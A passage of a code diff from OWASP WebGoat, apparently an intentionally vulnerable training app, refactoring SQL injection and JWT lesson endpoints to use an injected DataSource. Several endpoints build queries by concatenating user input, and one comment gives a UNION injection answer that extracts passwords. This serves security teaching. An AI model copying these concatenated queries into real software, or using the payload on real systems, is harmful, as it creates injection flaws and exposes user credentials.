String insertData3 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('alice', 'alice@webgoat.org', 'rt*(KJ()LP())$#**')";
String insertData4 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('eve', 'eve@webgoat.org', '**********')";
statement.executeUpdate(insertData1);
statement.executeUpdate(insertData2);
statement.executeUpdate(insertData3);
statement.executeUpdate(insertData4);
} catch (SQLException e) {
log.error("Unable create table", e);
}
}
}

@ -1,132 +0,0 @@
package org.owasp.webgoat.challenges.challenge6;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.RandomStringUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.challenges.Flag;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.util.StringUtils;
import org.springframework.web.bind.annotation.*;
import java.sql.*;
import static org.owasp.webgoat.challenges.SolutionConstants.PASSWORD_TOM;
/**
* @author nbaars
* @since 4/8/17.
*/
@RestController
@Slf4j
public class Assignment6 extends AssignmentEndpoint {
//Make it more random at runtime (good luck guessing)
private static final String USERS_TABLE_NAME = "challenge_users_6" + RandomStringUtils.randomAlphabetic(16);
@Autowired
private WebSession webSession;
public Assignment6() {
log.info("Challenge 6 tablename is: {}", USERS_TABLE_NAME);
}
@PutMapping("/challenge/6") //assignment path is bounded to class so we use different http method :-)
@ResponseBody
public AttackResult registerNewUser(@RequestParam String username_reg, @RequestParam String email_reg, @RequestParam String password_reg) throws Exception {
AttackResult attackResult = checkArguments(username_reg, email_reg, password_reg);
if (attackResult == null) {
Connection connection = DatabaseUtilities.getConnection(webSession);
checkDatabase(connection);
String checkUserQuery = "select userid from " + USERS_TABLE_NAME + " where userid = '" + username_reg + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(checkUserQuery);
if (resultSet.next()) {
attackResult = failed().feedback("user.exists").feedbackArgs(username_reg).build();
} else {
PreparedStatement preparedStatement = connection.prepareStatement("INSERT INTO " + USERS_TABLE_NAME + " VALUES (?, ?, ?)");
preparedStatement.setString(1, username_reg);
preparedStatement.setString(2, email_reg);
preparedStatement.setString(3, password_reg);
preparedStatement.execute();
attackResult = success().feedback("user.created").feedbackArgs(username_reg).build();
}
}
return attackResult;
}
private AttackResult checkArguments(String username_reg, String email_reg, String password_reg) {
if (StringUtils.isEmpty(username_reg) || StringUtils.isEmpty(email_reg) || StringUtils.isEmpty(password_reg)) {
return failed().feedback("input.invalid").build();
}
if (username_reg.length() > 250 || email_reg.length() > 30 || password_reg.length() > 30) {
return failed().feedback("input.invalid").build();
}
return null;
}
@PostMapping("/challenge/6")
@ResponseBody
public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {
Connection connection = DatabaseUtilities.getConnection(webSession);
checkDatabase(connection);
PreparedStatement statement = connection.prepareStatement("select password from " + USERS_TABLE_NAME + " where userid = ? and password = ?");
statement.setString(1, username_login);
statement.setString(2, password_login);
ResultSet resultSet = statement.executeQuery();
if (resultSet.next() && "tom".equals(username_login)) {
return success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(6)).build();
} else {
return failed().feedback("challenge.close").build();
}
}
private void checkDatabase(Connection connection) throws SQLException {
try {
Statement statement = connection.createStatement();
statement.execute("select 1 from " + USERS_TABLE_NAME);
} catch (SQLException e) {
createChallengeTable(connection);
}
}
private void createChallengeTable(Connection connection) {
Statement statement = null;
try {
statement = connection.createStatement();
String dropTable = "DROP TABLE " + USERS_TABLE_NAME;
statement.executeUpdate(dropTable);
} catch (SQLException e) {
log.info("Delete failed, this does not point to an error table might not have been present...");
}
log.debug("Challenge 6 - Creating tables for users {}", USERS_TABLE_NAME);
try {
String createTableStatement = "CREATE TABLE " + USERS_TABLE_NAME
+ " (" + "userid varchar(250),"
+ "email varchar(30),"
+ "password varchar(30)"
+ ")";
statement.executeUpdate(createTableStatement);
String insertData1 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('larry', 'larry@webgoat.org', 'larryknows')";
String insertData2 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('tom', 'tom@webgoat.org', '" + PASSWORD_TOM + "')";
String insertData3 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('alice', 'alice@webgoat.org', 'rt*(KJ()LP())$#**')";
String insertData4 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('eve', 'eve@webgoat.org', '**********')";
statement.executeUpdate(insertData1);
statement.executeUpdate(insertData2);
statement.executeUpdate(insertData3);
statement.executeUpdate(insertData4);
} catch (SQLException e) {
log.error("Unable create table", e);
}
}
}

@ -1,28 +0,0 @@
package org.owasp.webgoat.challenges.challenge6;
import org.owasp.webgoat.lessons.Category;
import org.owasp.webgoat.lessons.Lesson;
import org.springframework.stereotype.Component;
/**
* @author nbaars
* @since 3/21/17.
*/
@Component
public class Challenge6 extends Lesson {
@Override
public Category getDefaultCategory() {
return Category.CHALLENGE;
}
@Override
public String getTitle() {
return "challenge6.title";
}
@Override
public String getId() {
return "Challenge6";
}
}

@ -0,0 +1,11 @@
--Challenge 5 - Creating tables for users
CREATE TABLE challenge_users(
userid varchar(250),
email varchar(30),
password varchar(30)
);
INSERT INTO challenge_users VALUES ('larry', 'larry@webgoat.org', 'larryknows');
INSERT INTO challenge_users VALUES ('tom', 'tom@webgoat.org', 'thisisasecretfortomonly');
INSERT INTO challenge_users VALUES ('alice', 'alice@webgoat.org', 'rt*(KJ()LP())$#**');
INSERT INTO challenge_users VALUES ('eve', 'eve@webgoat.org', '**********');

@ -5,10 +5,8 @@ import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.plugins.LessonTest;
import org.owasp.webgoat.session.WebgoatContext;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.MvcResult;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;

@ -1,17 +1,9 @@
package org.owasp.webgoat.cia;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.springframework.web.bind.annotation.*;
import java.io.IOException;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
@RestController
public class CIAQuiz extends AssignmentEndpoint {

@ -4,7 +4,6 @@ import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.owasp.webgoat.plugins.LessonTest;
import org.owasp.webgoat.session.WebgoatContext;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.MvcResult;

@ -27,6 +27,8 @@ import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.mockito.junit.MockitoJUnitRunner;
import org.owasp.webgoat.plugins.LessonTest;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
@ -40,8 +42,8 @@ import static org.springframework.test.web.servlet.setup.MockMvcBuilders.standal
* @author nbaars
* @since 5/2/17.
*/
@RunWith(MockitoJUnitRunner.class)
public class ShopEndpointTest {
@RunWith(SpringJUnit4ClassRunner.class)
public class ShopEndpointTest extends LessonTest {
private MockMvc mockMvc;

@ -22,20 +22,15 @@
package org.owasp.webgoat.jwt;
import com.google.common.base.Charsets;
import io.jsonwebtoken.*;
import io.jsonwebtoken.impl.TextCodec;
import org.apache.commons.lang3.StringUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import java.sql.Connection;
import javax.sql.DataSource;
import java.sql.ResultSet;
import java.sql.SQLException;
@ -67,8 +62,11 @@ import java.sql.SQLException;
@AssignmentHints({"jwt-final-hint1", "jwt-final-hint2", "jwt-final-hint3", "jwt-final-hint4", "jwt-final-hint5", "jwt-final-hint6"})
public class JWTFinalEndpoint extends AssignmentEndpoint {
@Autowired
private WebSession webSession;
private final DataSource dataSource;
private JWTFinalEndpoint(DataSource dataSource) {
this.dataSource = dataSource;
}
@PostMapping("/JWT/final/follow/{user}")
public @ResponseBody
@ -92,8 +90,7 @@ public class JWTFinalEndpoint extends AssignmentEndpoint {
@Override
public byte[] resolveSigningKeyBytes(JwsHeader header, Claims claims) {
final String kid = (String) header.get("kid");
try {
Connection connection = DatabaseUtilities.getConnection(webSession);
try (var connection = dataSource.getConnection()) {
ResultSet rs = connection.createStatement().executeQuery("SELECT key FROM jwt_keys WHERE id = '" + kid + "'");
while (rs.next()) {
return TextCodec.BASE64.decode(rs.getString(1));

@ -0,0 +1,7 @@
CREATE TABLE jwt_keys(
id varchar(20),
key varchar(20)
);
INSERT INTO jwt_keys VALUES ('webgoat_key', 'qwertyqwerty1234');
INSERT INTO jwt_keys VALUES ('webwolf_key', 'doesnotreallymatter');

@ -22,77 +22,73 @@
package org.owasp.webgoat.missing_ac;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.UserSessionData;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import java.sql.*;
import javax.sql.DataSource;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.HashMap;
public class Users {
@Autowired
private WebSession webSession;
private UserSessionData userSessionData;
private DataSource dataSource;
@Autowired
UserSessionData userSessionData;
public Users(UserSessionData userSessionData, DataSource dataSource) {
this.userSessionData = userSessionData;
this.dataSource = dataSource;
}
@GetMapping(produces = {"application/json"})
@ResponseBody
protected HashMap<Integer, HashMap> getUsers() {
try {
Connection connection = DatabaseUtilities.getConnection(getWebSession());
try (Connection connection = dataSource.getConnection()) {
String query = "SELECT * FROM user_data";
try {
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
HashMap<Integer,HashMap> allUsersMap = new HashMap();
HashMap<Integer, HashMap> allUsersMap = new HashMap();
if ((results != null) && (results.first() == true)) {
ResultSetMetaData resultsMetaData = results.getMetaData();
StringBuffer output = new StringBuffer();
while (results.next()) {
int id = results.getInt(0);
HashMap<String,String> userMap = new HashMap<>();
HashMap<String, String> userMap = new HashMap<>();
userMap.put("first", results.getString(1));
userMap.put("last", results.getString(2));
userMap.put("cc", results.getString(3));
userMap.put("ccType", results.getString(4));
userMap.put("cookie", results.getString(5));
userMap.put("loginCount",Integer.toString(results.getInt(6)));
allUsersMap.put(id,userMap);
userMap.put("loginCount", Integer.toString(results.getInt(6)));
allUsersMap.put(id, userMap);
}
userSessionData.setValue("allUsers",allUsersMap);
userSessionData.setValue("allUsers", allUsersMap);
return allUsersMap;
}
} catch (SQLException sqle) {
sqle.printStackTrace();
HashMap<String,String> errMap = new HashMap() {{
put("err",sqle.getErrorCode() + "::" + sqle.getMessage());
HashMap<String, String> errMap = new HashMap() {{
put("err", sqle.getErrorCode() + "::" + sqle.getMessage());
}};
return new HashMap<Integer,HashMap>() {{
put(0,errMap);
return new HashMap<Integer, HashMap>() {{
put(0, errMap);
}};
} catch (Exception e) {
e.printStackTrace();
HashMap<String,String> errMap = new HashMap() {{
put("err",e.getMessage() + "::" + e.getCause());
HashMap<String, String> errMap = new HashMap() {{
put("err", e.getMessage() + "::" + e.getCause());
}};
e.printStackTrace();
return new HashMap<Integer,HashMap>() {{
put(0,errMap);
return new HashMap<Integer, HashMap>() {{
put(0, errMap);
}};
@ -108,24 +104,15 @@ public class Users {
} catch (Exception e) {
e.printStackTrace();
HashMap<String,String> errMap = new HashMap() {{
put("err",e.getMessage() + "::" + e.getCause());
HashMap<String, String> errMap = new HashMap() {{
put("err", e.getMessage() + "::" + e.getCause());
}};
e.printStackTrace();
return new HashMap<Integer,HashMap>() {{
put(0,errMap);
return new HashMap<>() {{
put(0, errMap);
}};
}
return null;
}
protected WebSession getWebSession() {
return webSession;
}
// @Override
// public String getPath() {
// return "/access-control/list-users";
// }
}

@ -54,10 +54,9 @@ public class MissingFunctionYourHashTest extends AssignmentEndpointTest {
MissingFunctionACYourHash yourHashTest = new MissingFunctionACYourHash();
init(yourHashTest);
this.mockMvc = standaloneSetup(yourHashTest).build();
this.mockDisplayUser = new DisplayUser(new WebGoatUser("user","userPass"));
ReflectionTestUtils.setField(yourHashTest,"userService",userService);
when(mockDisplayUser.getUserHash()).thenReturn("2340928sadfajsdalsNfwrBla=");
when(userService.loadUserByUsername(any())).thenReturn(new WebGoatUser("user","userPass"));
this.mockDisplayUser = new DisplayUser(new WebGoatUser("user", "userPass"));
ReflectionTestUtils.setField(yourHashTest, "userService", userService);
when(userService.loadUserByUsername(any())).thenReturn(new WebGoatUser("user", "userPass"));
when(webSession.getCurrentLesson()).thenReturn(new MissingFunctionAC());
}

@ -23,20 +23,16 @@
package org.owasp.webgoat.sql_injection.advanced;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.RandomStringUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.util.StringUtils;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import javax.sql.DataSource;
import java.sql.*;
/**
@ -48,50 +44,45 @@ import java.sql.*;
@Slf4j
public class SqlInjectionChallenge extends AssignmentEndpoint {
private static final String PASSWORD_TOM = "thisisasecretfortomonly";
//Make it more random at runtime (good luck guessing)
static final String USERS_TABLE_NAME = "challenge_users_6" + RandomStringUtils.randomAlphabetic(16);
private final DataSource dataSource;
@Autowired
private WebSession webSession;
public SqlInjectionChallenge() {
log.info("Challenge 6 tablename is: {}", USERS_TABLE_NAME);
public SqlInjectionChallenge(DataSource dataSource) {
this.dataSource = dataSource;
}
@PutMapping("/SqlInjectionAdvanced/challenge") //assignment path is bounded to class so we use different http method :-)
@PutMapping("/SqlInjectionAdvanced/challenge")
//assignment path is bounded to class so we use different http method :-)
@ResponseBody
public AttackResult registerNewUser(@RequestParam String username_reg, @RequestParam String email_reg, @RequestParam String password_reg) throws Exception {
AttackResult attackResult = checkArguments(username_reg, email_reg, password_reg);
if (attackResult == null) {
Connection connection = DatabaseUtilities.getConnection(webSession);
checkDatabase(connection);
try {
String checkUserQuery = "select userid from " + USERS_TABLE_NAME + " where userid = '" + username_reg + "'";
try (Connection connection = dataSource.getConnection()) {
String checkUserQuery = "select userid from sql_challenge_users where userid = '" + username_reg + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(checkUserQuery);
if (resultSet.next()) {
if (username_reg.contains("tom'")) {
attackResult = trackProgress(success().feedback("user.exists").build());
} else {
attackResult = failed().feedback("user.exists").feedbackArgs(username_reg).build();
}
if (username_reg.contains("tom'")) {
attackResult = trackProgress(success().feedback("user.exists").build());
} else {
attackResult = failed().feedback("user.exists").feedbackArgs(username_reg).build();
}
} else {
PreparedStatement preparedStatement = connection.prepareStatement("INSERT INTO " + USERS_TABLE_NAME + " VALUES (?, ?, ?)");
PreparedStatement preparedStatement = connection.prepareStatement("INSERT INTO sql_challenge_users VALUES (?, ?, ?)");
preparedStatement.setString(1, username_reg);
preparedStatement.setString(2, email_reg);
preparedStatement.setString(3, password_reg);
preparedStatement.execute();
attackResult = success().feedback("user.created").feedbackArgs(username_reg).build();
}
} catch(SQLException e) {
} catch (SQLException e) {
attackResult = failed().output("Something went wrong").build();
}
}
return attackResult;
}
return attackResult;
}
private AttackResult checkArguments(String username_reg, String email_reg, String password_reg) {
@ -103,46 +94,5 @@ public class SqlInjectionChallenge extends AssignmentEndpoint {
}
return null;
}
static void checkDatabase(Connection connection) throws SQLException {
try {
Statement statement = connection.createStatement();
System.out.println(USERS_TABLE_NAME);
statement.execute("select 1 from " + USERS_TABLE_NAME);
} catch (SQLException e) {
createChallengeTable(connection);
}
}
static void createChallengeTable(Connection connection) {
Statement statement = null;
try {
statement = connection.createStatement();
String dropTable = "DROP TABLE " + USERS_TABLE_NAME;
statement.executeUpdate(dropTable);
} catch (SQLException e) {
log.info("Delete failed, this does not point to an error table might not have been present...");
}
log.debug("Challenge 6 - Creating tables for users {}", USERS_TABLE_NAME);
try {
String createTableStatement = "CREATE TABLE " + USERS_TABLE_NAME
+ " (" + "userid varchar(250),"
+ "email varchar(30),"
+ "password varchar(30)"
+ ")";
statement.executeUpdate(createTableStatement);
String insertData1 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('larry', 'larry@webgoat.org', 'larryknows')";
String insertData2 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('tom', 'tom@webgoat.org', '" + PASSWORD_TOM + "')";
String insertData3 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('alice', 'alice@webgoat.org', 'rt*(KJ()LP())$#**')";
String insertData4 = "INSERT INTO " + USERS_TABLE_NAME + " VALUES ('eve', 'eve@webgoat.org', '**********')";
statement.executeUpdate(insertData1);
statement.executeUpdate(insertData2);
statement.executeUpdate(insertData3);
statement.executeUpdate(insertData4);
} catch (SQLException e) {
log.error("Unable create table", e);
}
}
}

@ -25,36 +25,40 @@ package org.owasp.webgoat.sql_injection.advanced;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import java.sql.*;
import javax.sql.DataSource;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
@RestController
@AssignmentHints(value ={"SqlInjectionChallengeHint1", "SqlInjectionChallengeHint2", "SqlInjectionChallengeHint3", "SqlInjectionChallengeHint4"})
@AssignmentHints(value = {"SqlInjectionChallengeHint1", "SqlInjectionChallengeHint2", "SqlInjectionChallengeHint3", "SqlInjectionChallengeHint4"})
public class SqlInjectionChallengeLogin extends AssignmentEndpoint {
@Autowired
private WebSession webSession;
private final DataSource dataSource;
@PostMapping("/SqlInjectionAdvanced/challenge_Login")
@ResponseBody
public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {
Connection connection = DatabaseUtilities.getConnection(webSession);
SqlInjectionChallenge.checkDatabase(connection);
PreparedStatement statement = connection.prepareStatement("select password from " + SqlInjectionChallenge.USERS_TABLE_NAME + " where userid = ? and password = ?");
statement.setString(1, username_login);
statement.setString(2, password_login);
ResultSet resultSet = statement.executeQuery();
if (resultSet.next()) {
return ("tom".equals(username_login)) ? trackProgress(success().build())
: success().feedback("ResultsButNotTom").build();
} else {
return failed().feedback("NoResultsMatched").build();
public SqlInjectionChallengeLogin(DataSource dataSource) {
this.dataSource = dataSource;
}
@PostMapping("/SqlInjectionAdvanced/challenge_Login")
@ResponseBody
public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {
try (var connection = dataSource.getConnection()) {
PreparedStatement statement = connection.prepareStatement("select password from sql_challenge_users where userid = ? and password = ?");
statement.setString(1, username_login);
statement.setString(2, password_login);
ResultSet resultSet = statement.executeQuery();
if (resultSet.next()) {
return ("tom".equals(username_login)) ? trackProgress(success().build())
: success().feedback("ResultsButNotTom").build();
} else {
return failed().feedback("NoResultsMatched").build();
}
}
}
}
}

@ -26,35 +26,43 @@ import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.sql_injection.introduction.SqlInjectionLesson5a;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import java.io.IOException;
import javax.sql.DataSource;
import java.sql.*;
@RestController
@AssignmentHints(value = {"SqlStringInjectionHint-advanced-6a-1", "SqlStringInjectionHint-advanced-6a-2", "SqlStringInjectionHint-advanced-6a-3",
"SqlStringInjectionHint-advanced-6a-4"})
"SqlStringInjectionHint-advanced-6a-4"})
public class SqlInjectionLesson6a extends AssignmentEndpoint {
private final DataSource dataSource;
public SqlInjectionLesson6a(DataSource dataSource) {
this.dataSource = dataSource;
}
@PostMapping("/SqlInjectionAdvanced/attack6a")
@ResponseBody
public AttackResult completed(@RequestParam String userid_6a) throws IOException {
public AttackResult completed(@RequestParam String userid_6a) {
return injectableQuery(userid_6a);
// The answer: Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data --
}
protected AttackResult injectableQuery(String accountName) {
String query = "";
try(Connection connection = DatabaseUtilities.getConnection(getWebSession())) {
try (Connection connection = dataSource.getConnection()) {
boolean usedUnion = true;
query = "SELECT * FROM user_data WHERE last_name = '" + accountName + "'";
//Check if Union is used
if(!accountName.matches("(?i)(^[^-/*;)]*)(\\s*)UNION(.*$)")) {
if (!accountName.matches("(?i)(^[^-/*;)]*)(\\s*)UNION(.*$)")) {
usedUnion = false;
}
try(Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
try (Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY)) {
ResultSet results = statement.executeQuery(query);
@ -65,7 +73,7 @@ public class SqlInjectionLesson6a extends AssignmentEndpoint {
output.append(SqlInjectionLesson5a.writeTable(results, resultsMetaData));
String appendingWhenSucceded;
if(usedUnion)
if (usedUnion)
appendingWhenSucceded = "Well done! Can you also figure out a solution, by appending a new Sql Statement?";
else
appendingWhenSucceded = "Well done! Can you also figure out a solution, by using a UNION?";

@ -24,11 +24,13 @@
package org.owasp.webgoat.sql_injection.advanced;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import javax.sql.DataSource;
import java.io.IOException;
import java.sql.Connection;
import java.sql.ResultSet;
@ -39,10 +41,16 @@ import java.sql.Statement;
@RestController
public class SqlInjectionLesson6b extends AssignmentEndpoint {
private final DataSource dataSource;
public SqlInjectionLesson6b(DataSource dataSource) {
this.dataSource = dataSource;
}
@PostMapping("/SqlInjectionAdvanced/attack6b")
@ResponseBody
public AttackResult completed(@RequestParam String userid_6b) throws IOException {
if (userid_6b.toString().equals(getPassword())) {
if (userid_6b.equals(getPassword())) {
return trackProgress(success().build());
} else {
return trackProgress(failed().build());
@ -50,18 +58,15 @@ public class SqlInjectionLesson6b extends AssignmentEndpoint {
}
protected String getPassword() {
String password = "dave";
try {
Connection connection = DatabaseUtilities.getConnection(getWebSession());
try (Connection connection = dataSource.getConnection()) {
String query = "SELECT password FROM user_system_data WHERE user_name = 'dave'";
try {
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true)) {
if (results != null && results.first()) {
password = results.getString("password");
}
} catch (SQLException sqle) {

@ -23,16 +23,10 @@
package org.owasp.webgoat.sql_injection.advanced;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.springframework.web.bind.annotation.*;
import java.io.IOException;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
/**
* add a question: 1. Append new question to JSON string

@ -26,15 +26,27 @@ package org.owasp.webgoat.sql_injection.introduction;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import java.sql.*;
import javax.sql.DataSource;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
@RestController
@AssignmentHints(value = {"SqlStringInjectionHint.10.1", "SqlStringInjectionHint.10.2", "SqlStringInjectionHint.10.3", "SqlStringInjectionHint.10.4", "SqlStringInjectionHint.10.5", "SqlStringInjectionHint.10.6"})
public class SqlInjectionLesson10 extends AssignmentEndpoint {
private final DataSource dataSource;
public SqlInjectionLesson10(DataSource dataSource) {
this.dataSource = dataSource;
}
@PostMapping("/SqlInjection/attack10")
@ResponseBody
public AttackResult completed(@RequestParam String action_string) {
@ -45,9 +57,7 @@ public class SqlInjectionLesson10 extends AssignmentEndpoint {
StringBuffer output = new StringBuffer();
String query = "SELECT * FROM access_log WHERE action LIKE '%" + action + "%'";
try {
Connection connection = DatabaseUtilities.getConnection(getWebSession());
try (Connection connection = dataSource.getConnection()) {
try {
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
@ -59,16 +69,14 @@ public class SqlInjectionLesson10 extends AssignmentEndpoint {
} else {
if (tableExists(connection)) {
return trackProgress(failed().feedback("sql-injection.10.entries").output(output.toString()).build());
}
else {
} else {
return trackProgress(success().feedback("sql-injection.10.success").build());
}
}
} catch (SQLException e) {
if (tableExists(connection)) {
return trackProgress(failed().feedback("sql-injection.error").output("<span class='feedback-negative'>" + e.getMessage() + "</span><br>" + output.toString()).build());
}
else {
} else {
return trackProgress(success().feedback("sql-injection.10.success").build());
}
}
@ -80,7 +88,7 @@ public class SqlInjectionLesson10 extends AssignmentEndpoint {
private boolean tableExists(Connection connection) {
try {
Statement stmt = connection.createStatement();
Statement stmt = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet results = stmt.executeQuery("SELECT * FROM access_log");
int cols = results.getMetaData().getColumnCount();
return (cols > 0);

@ -26,49 +26,53 @@ package org.owasp.webgoat.sql_injection.introduction;
import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.session.DatabaseUtilities;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import java.sql.*;
import javax.sql.DataSource;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import static java.sql.ResultSet.CONCUR_READ_ONLY;
import static java.sql.ResultSet.TYPE_SCROLL_INSENSITIVE;
@RestController
@AssignmentHints(value = {"SqlStringInjectionHint2-1", "SqlStringInjectionHint2-2", "SqlStringInjectionHint2-3", "SqlStringInjectionHint2-4"})
public class SqlInjectionLesson2 extends AssignmentEndpoint {
private final DataSource dataSource;
public SqlInjectionLesson2(DataSource dataSource) {
this.dataSource = dataSource;
}
@PostMapping("/SqlInjection/attack2")
@ResponseBody
public AttackResult completed(@RequestParam String query) {
return injectableQuery(query);
}
protected AttackResult injectableQuery(String _query) {
try {
Connection connection = DatabaseUtilities.getConnection(getWebSession());
String query = _query;
protected AttackResult injectableQuery(String query) {
try (var connection = dataSource.getConnection()) {
Statement statement = connection.createStatement(TYPE_SCROLL_INSENSITIVE, CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
StringBuffer output = new StringBuffer();
try {
Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(_query);
StringBuffer output = new StringBuffer();
results.first();
results.first();
if (results.getString("department").equals("Marketing")) {
output.append("<span class='feedback-positive'>" + _query + "</span>");
output.append(SqlInjectionLesson8.generateTable(results));
return trackProgress(success().feedback("sql-injection.2.success").output(output.toString()).build());
} else {
return trackProgress(failed().feedback("sql-injection.2.failed").output(output.toString()).build());
}
} catch (SQLException sqle) {
return trackProgress(failed().feedback("sql-injection.2.failed").output(sqle.getMessage()).build());
if (results.getString("department").equals("Marketing")) {
